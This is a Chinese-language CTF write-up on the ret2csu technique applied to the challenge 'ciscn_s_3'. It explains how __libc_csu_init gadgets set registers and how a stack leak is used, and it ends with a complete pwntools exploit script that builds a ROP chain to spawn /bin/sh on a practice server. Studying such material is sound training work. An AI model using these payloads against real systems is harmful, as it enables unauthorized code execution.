简介

__libc_csu_init中有以下gadgets,可以帮助我们摆好很多寄存器,或者用来花式rop。

1
2
3
4
mov		rdx, r13
mov rsi, r14
mov edi, r15d
call qword ptr [r12+rbx*8]

恰好能让rdx和rsi的值被r13和r14控制,而且若能让rbx为0, r12可以调用特定的shellcode,

一般拿来充当ret,找到ROP下一句的位置填进去

而刚好还有如下gadgets

1
2
3
4
5
6
7
pop		rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

例题

ciscn_s_3

分析

ciscn_s_3_001.png

发现vul()是在执行一个read(0, [rsp+buf], 0x400)和write(1, [rsp+buf], 0x30)

读入了0x400个数据显然有缓冲区溢出。

checksec发现只开了NX。

ciscn_s_3_002.png

发现gadgets()中存在

mov rax, 0xf ; ret;mov rax, 0x3b ; ret;

查阅资料得知0x3b是execve()的系统调用号,而vul()中刚好有syscall指令,所以这道题的思路就是将rdi的值变成’/bin/sh\x00’,rsi和rdx的值变成0。

(另一种做法是利用0xf是sigreturn的系统调用号,布置好sigreturnFrame,走srop也可getshell)

‘/bin/sh\x00’我们可以通过输入得到,所以现在要做的就是leak出rsp的值。

在write函数输出0x30个值的时候,前0x20个数据不用管,而接下来的0x8刚好就是栈上的一个地址。

这个时候进gdb调试,输入AAAAA,然后find AAAAA,找到此时栈顶的指针,和刚刚leak出的那个栈上的地址进行计算,算出偏移量0x118。把’/bin/sh\x00’放到rdi里只需要找到pop rdi; ret;这个gadget就行了。

接下来就是利用__libc_csu_init里的gadgets来将rsi和rdx置0就行了。

ciscn_s_3_003.png

call [r12+rbx*8]这里,我们让他和后面的ROP连在一起,可以利用0x40059a的gadgets将r12的值改成原先栈顶的值。然后经过简单计算,为了和后面的ROP连在一起,这里应该是栈顶+0x58,我取了个巧,把rbx的值改成了0xb,这样也能刚好接上后面的ROP链。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

context(os='linux', arch='amd64', log_level='debug')
#p = process('./ciscn_s_3')
p = remote('node4.buuoj.cn',27280)
elf = ELF('./ciscn_s_3')
main = elf.symbols['vuln']
#raw_input()
#sh = 0x7368000000000000
pay = '/bin/sh\x00'*2 + p64(main)
p.send(pay)
p.recv(0x20)
sh_addr = u64(p.recv(8)) - 0x118
p.recv(8)
print hex(sh_addr)

callr12 = 0x0000000000400580
pop_rbx_rbp_r12_r13_r14_r15 = 0x000000000040059A
rax_ret = 0x00000000004004E2

syscall = 0x0000000000400501
pop_rdi = 0x00000000004005a3

pay2 = '/bin/sh\x00'*2 + p64(pop_rbx_rbp_r12_r13_r14_r15)
pay2 += p64(11) + p64(0) + p64(sh_addr) + p64(0) + p64(0) + p64(0)
pay2 += p64(rax_ret) + p64(callr12)
pay2 += p64(pop_rdi) + p64(sh_addr) + p64(syscall)
#raw_input()
p.send(pay2)